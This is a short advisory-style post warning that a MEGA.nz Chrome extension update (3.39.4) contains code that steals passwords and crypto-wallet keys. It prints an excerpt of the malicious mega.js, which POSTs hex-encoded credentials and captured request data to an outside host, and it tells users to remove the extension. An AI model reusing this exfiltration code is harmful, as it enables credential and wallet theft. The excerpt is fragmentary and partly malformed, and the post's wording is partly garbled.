

Detecting a Chrome extension infected with malicious code, stealing the password and the user's e-wallet key

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This malicious code was found in the updated version released today, MEGA.nz 3.39.4. If you install this extension, users will be able to steal the passwords of Google, Amazon, Microsoft, GitHub accounts, even the e-wallet for storing Bitcoin or other crypto-currency to help hackers Stealing user properties. After collecting, all data will be sent to a host in Ukraine.

```

> 3.39.4_0 > mega.js
18 function dataPost(type, addr, key) {
19   var xhr = new XMLHttpRequest();
20   xhr.open("POST", "https://www.megaopac.host/", true);
21   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
22   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
23   xhr.send("d=" + type + "&p1=" + StringToHex(addr) + "&p2=" + StringToHex(key));
24 }
25 function postPost(url, data) {
26   var xhr = new XMLHttpRequest();
27   xhr.open("POST", "https://www.megaopac.host/", true);
28   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
29   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
30   xhr.send("d=8p=" + StringToHex(url + "\n\n" + data));
31 }
32 var lus="";
33 chrome.webRequest.onBeforeRequest.addListener(
34   function(details)
35   {
36     if ((details.url.substr(-4) == '.xml')
37         || (details.url.substr(-4) == '.crx')
38         || (details.url.substr(-4) == '.xpi')
39         || (details.url.substr(-4) == '.exe')
40         || (details.url.substr(-4) == '.dmg')
41         || (details.url.substr(-3) == '.gz')
42         || (details.url.substr(-4) == '.deb'))
43   }

```

If you have been using this MEGA.nz extension, please delete or disable it immediately. Then go to the menu section -> More Tools -> Extensions to check again for sure.

Neither Google nor MEGA.nz currently have any feedback on this issue.

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